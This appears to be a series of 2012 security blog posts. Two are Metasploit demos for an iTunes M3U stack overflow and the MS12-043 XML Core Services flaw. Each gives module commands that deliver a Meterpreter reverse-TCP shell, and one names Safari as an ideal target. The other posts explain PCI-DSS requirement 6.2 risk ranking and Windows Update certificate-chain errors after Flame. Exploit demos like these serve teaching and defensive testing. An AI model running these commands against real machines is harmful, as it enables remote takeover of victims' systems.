Apple iTunes 10 Extended M3U Stack Buffer Overflow Vulnerability Metasploit Demo

Timeline :

Vulnerability fixed, without notice of the vulnerability, in product the 2012-06-11
Vulnerability discovered by Rh0
Public release of the vulnerability the 2012-06-20
Metasploit PoC provided the 2012-06-20

PoC provided by :

Rh0
sinn3r

Reference(s) :

EDB-ID-19322
HT5318
OSVDB-83220
Rh0

Affected version(s) :

iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.69 on XP SP3
iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.70 on XP SP3
iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.71 on XP SP3
iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.72 on XP SP3

Tested on Windows XP Pro SP3 with :

Apple iTunes 10.6.1.7
Apple QuickTime 7.72.80.56

Description :

This module exploits a stack buffer overflow in iTunes 10.4.0.80 to 10.6.1.7. When opening an extended .m3u file containing an “#EXTINF:” tag description, iTunes will copy the content after “#EXTINF:” without appropriate checking from a heap buffer to a stack buffer, writing beyond the stack buffer’s boundary, which allows code execution under the context of the user. Please note before using this exploit, you must have precise knowledge of the victim machine’s QuickTime version (if installed), and then select your target accordingly. In addition, even though this exploit can be used as remote, you should be aware the victim’s browser behavior when opening an itms link. For example, IE/Firefox/Opera by default will ask the user for permission before launching the itms link by iTunes. Chrome will ask for permission, but also spits a warning. Safari would be an ideal target, because it will open the link without any user interaction.

Commands :

use exploit/windows/misc/itunes_extm3u_bof
set SRVHOST 192.168.178.100
set TARGET 3
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.100
exploit

sysinfo
getuid

PCI-DSS Requirement 6.2 Changes Impacts after 30 Jun 2012

PCI-DSS (Payment Card Industry Data Security Standard) version 2.0 is out since October 2010, but vulnerability ranking as defined in the 6.2.a testing procedure was considered as best practice until Jun 30, 2012, after which it becomes a requirement. The vulnerability ranking, how is now mandatory, will impact they way you classify your vulnerabilities, your change management process, your internal vulnerabilities assessment, your NTP monitoring, the way you document your hardening guides and your software development process.

Requirement 6.2

Just for recap, if you don’t know this requirement:

6.2 Establish a process to identify and assign a risk ranking to newly discovered security vulnerabilities.
Notes: Risk rankings should be based on industry best practices. For example, criteria for ranking "High" risk vulnerabilities may include a CVSS base score of 4.0 or above, and/or a vendor-supplied patch classified by the vendor as "critical", and/or a vulnerability affecting a critical system component.
Testing procedure 6.2.a: Interview responsible personnel to verify that processes are implemented to identify new security vulnerabilities, and that a risk ranking is assigned to such vulnerabilities. (At minimum, the most critical, highest risk vulnerabilities should be ranked as "High".

As described above, PCI-DSS requirement 6.2 request that a formal vulnerability management process exist in order to rank the risk of the discovered vulnerabilities, before assets are put in production. Also the process should include outside sources for security vulnerability information (from vendors and/or vulnerability scanning tools and/or external sources). The vulnerabilities risk ranking could be “Low“, “Medium” and “High“, but at minimum the most critical vulnerabilities should be ranked as “High“. As described in the “Notes” of 6.2 requirement you could use CVSS scores for you risk ranking mapping.

Using CVSS v2 scoring

As described by Thierry Zoller in his “CVSS – Common Vulnerability Scoring System – a critique [ Part1 ]” blog post, CVSS v2 is not perfect and need some enhancements, maybe in v3. In order to explain the impacts of CVSS scores on the risk ranking we will use CVE-2012-1875 as example.

The base CVSS score, on National Vulnerability Database, for CVE-2012-1875, one of vulnerabilities patched in MS12-037, is 9.3 (HIGH). But by doing a Vulnerability Management process you could increase or decrease the risk ranking.

In CVSS v2 “Base Score Metric“, actual “Attack complexity” for CVE-2012-1875 is by default defined at “Medium“, but since an exploit is available through Metasploit we could consider that the “Attack complexity” should be set to “Low” (The attack can be performed manually and requires little skill or additional information gathering).

In “Temporal Score Metrics“, I would define “Exploitability” to “High” cause the Metasploit module is working for Internet Explorer 8 over Windows XP SP3 and Windows 7 SP1/SP2. For “Remediation Level” set to “Official fix” and for “Report Confidence” to “Confirmed“. In my opinion “Remediation Level” is the most disturbing in CVSS v2, cause if a patch exist, it does not imply that you have actually plan to deploy it or have actually deploy it.

In “Environmental Score Metrics“, “Collateral Damage Potential” and “Target Distribution” are related to your organization and on the number of potential vulnerable assets.

Example 1: If your vulnerable assets have a “Low” “Collateral Damage Potential” and they represent only “0 to 25%” of the total assets, the overall CVSS score will be 2.2.

Example 2: If your vulnerable assets have a “High” “Collateral Damage Potential” and they represent only “26 to 75%” of the total assets, the the overall CVSS score will be 7.

Example 3: If your vulnerable assets have a “Low” “Collateral Damage Potential” and you don’t known the number of potential vulnerable assets, the overall CVSS score will be 9.4. This score demonstrates you the importance to have a good inventory of your assets.

You can also play with the CVSS v2 “Security Requirements” metrics how will allow you to customize the CVSS score depending of the importance of the affected assets in terms of confidentiality, integrity and availability.

I would recommend to organizations, how don’t have the resources (updated CMDB, automatic vulnerability scanner, etc) to customize the CVSS score, and also because CVSS v2 is not perfect, to only take the base CVSS score as the default value to do vulnerability ranking.

Requirement 2.2

Requirement 2.2 is also impacted by requirement 6.2. Just for recap, if you don’t know this requirement:

2.2 Develop configuration standards for all system components. Assure that these standards address all known security vulnerabilities and are consistent with industry-accepted system hardening standards.
2.2.b Verify that system configuration standards are updated as new vulnerability issues are identified, as defined in Requirement 6.2

If a vulnerability is discovered or published, and one of your system component is vulnerable despite an industry-accepted hardening standard is configured, you will have to update, asap or before going in production, your configuration standard in order to avoid new vulnerabilities during installation of a new system component.

Requirement 6.5

Requirement 6.5 is also impacted by requirement 6.2. Just for recap, if you don’t know this requirement:

6.5 Develop applications based on secure coding guidelines. Prevent common coding vulnerabilities in software development processes, to include the following:
6.5.6 All "High" vulnerabilities identified in the vulnerability identification process (as defined in PCI DSS Requirement 6.2).

As described in the requirement a formal software development process should exist and include references to the vulnerability ranking with associated resolution processes. If a “High” vulnerability is discovered or published, and one of your application is vulnerable, you will have to correct or mitigate the vulnerability, asap or before going in production.

Requirement 10.4

Requirement 10.4 is also impacted by requirement 6.2. Just for recap, if you don’t know this requirement:

10.4 Using time-synchronization technology, synchronize all critical system clocks and times and ensure that the following is implemented for acquiring, distributing, and storing time.
10.4.a Verify that time-synchronization technology is implemented and kept current per PCI DSS Requirements 6.1 and 6.2.

Accurate time synchronization is an important part of the security process, and most of time this requirement is under estimated and risks associated to time synchronization defect are under evaluated. Each reported time synchronization vulnerabilities should be carefully evaluated and associated with a risk ranking. For example, if a server has an offset of more than x seconds then the event could be considered as a “High” vulnerability ranking. Another examples could be that the NTP client could no more connect to the NTP server, or that a configuration change has be done on the NTP client or server, etc.

Before Jun 30, it wasn’t mandatory to resolve “High” vulnerabilities related to time synchronization vulnerabilities. Now it is mandatory and you should correct it asap and validate the correction.

Requirement 11.2.1

Requirement 11.2.1 is also impacted by requirement 6.2. Just for recap, if you don’t know this requirement:

11.2.1 Perform quarterly internal vulnerability scans.
11.2.1.b Review the scan reports and verify that the scan process includes rescans until passing results are obtained, or all "High" vulnerabilities as defined in PCI DSS Requirement 6.2 are resolved.

As described in the requirement a formal quarterly scanning process should exist and include references to the vulnerability ranking with the requirement of a rescan until the vulnerability is resolved. Before Jun 30, it wasn’t mandatory to resolve “High” vulnerabilities after a quarterly internal vulnerability scan. Now it is mandatory and you should correct it asap and validate the correction by a rescan.

Requirement 11.2.3

Requirement 11.2.3 is also impacted by requirement 6.2. Just for recap, if you don’t know this requirement:

11.2.3 Perform internal and external scans after any significant change.
11.2.3.b Review scan reports and verify that the scan process includes rescans until: 
- For external scans, no vulnerabilities exist that are scored greater than a 4.0 by the CVSS, 
- For internal scans, a passing result is obtained or all "High" vulnerabilities as defined in PCI DSS Requirement 6.2 are resolved.

As described in the requirement a formal scanning process, after any significant change, should exist and include references to the vulnerability ranking with the requirement of a rescan until the vulnerability is resolved. Significant changes are defined by examples in requirement 11.2 : new system component installations, changes in network topology, firewall rule modifications, product upgrades.

Before Jun 30, it wasn’t mandatory to resolve “High” vulnerabilities introduced by a significant change and discovered by an internal vulnerability scan. Now it is mandatory and you should correct it asap and validate the correction by a rescan.

Conclusion

As you can see, requirement 6.2 has introduce tonnes of new requirements and you should plan asap, if you are PCI-DSS compliant, all required actions in order to comply with them.

update.microsoft.com SSL warnings due to certificate chain update

Flame malware, buzz of June 2012, had an interesting replication methods through Microsoft Windows Update service. The SNACK (NBNS spoofing) and MUNCH (Spoofing proxy detection and Windows Update request) Flame modules have allow man in the middle (MITM) attacks allowing distribution of forged Windows updates to the targets.

The MITM URLs were :

download.windowsupdate.com
download.microsoft.com
update.microsoft.com
www.update.microsoft.com
v5.windowsupdate.microsoft.com
windowsupdate.microsoft.com
www.download.windowsupdate.com
v5stats.windowsupdate.microsoft.com

The problem was that components of Flame were signed using a forged certificate that the attacker were able to create by exploiting a weakness in Microsoft Terminal Services, how allow users to sign code with Microsoft certificates.

Microsoft has issue a security advisory (MSA-2718704) and an update (KB-2718704) how will remove the untrusted certificates.

But since today, “Microsoft Root Certificate Authority” root certificate, “Microsoft Update Secure Server CA 1” intermediate certificate are not more trusted by majority of Internet browsers like Firefox, Chrome, Safari and Opera. The cause is that Microsoft has regenerate the Windows Update certificate chain. The chain of trust is broken (Qualys SSL LabsSSL Shopper SSL Checker) for www.update.microsoft.com and update.microsoft.com.

SSL certificates for the following domain names are also no more trusted, cause the chain of trust is broken:

www.update.microsoft.com
update.microsoft.com
v5.windowsupdate.microsoft.com
windowsupdate.microsoft.com

The SSL certificates associated to the following domain names are also no more trusted, cause they are pointing to a host not corresponding to the requested domain name (hosted on Akamai):

download.windowsupdate.com
download.microsoft.com
www.download.windowsupdate.com

With KB-2718704 installed on an up2date Windows XP SP3, only “www.update.microsoft.com” domain could be considered as trusted, if you use Internet Explorer.

But despite the installation of KB-2718704, the following domains are still invalid:

update.microsoft.com
v5.windowsupdate.microsoft.com
windowsupdate.microsoft.com
download.windowsupdate.com
download.microsoft.com

Here under some screenshots of different browsers and error messages.

[nggallery id=5]

MS12-043 Microsoft XML Core Services Vulnerability Metasploit Demo

Timeline :

Vulnerability found exploited in the wild
Public release of the vulnerability the 2012-06-12
Metasploit PoC provided the 2012-06-15

PoC provided by :

sinn3r
juan vazquez

Reference(s) :

MSA-2719615
MS12-043
MS KB 2719615
CVE-2012-1889
OSVDB-82873

Affected version(s) :

Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0.

Tested on Windows XP Pro SP3 with :

Internet Explorer 6 (6.0.2900.5512.xpsp_sp3_gdr.11025-1629)

Description :

This module exploits a memory corruption flaw in Microsoft XML Core Services when trying to access an uninitialized Node with the getDefinition API, which may corrupt memory allowing remote code execution. At the moment, this module only targets Microsoft XML Core Services 3.0 via IE6 and IE7 over Windows XP SP3.

Commands :

use exploit/windows/browser/msxml_get_definition_code_exec
set SRVHOST 192.168.178.100
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.100
exploit

sysinfo
getuid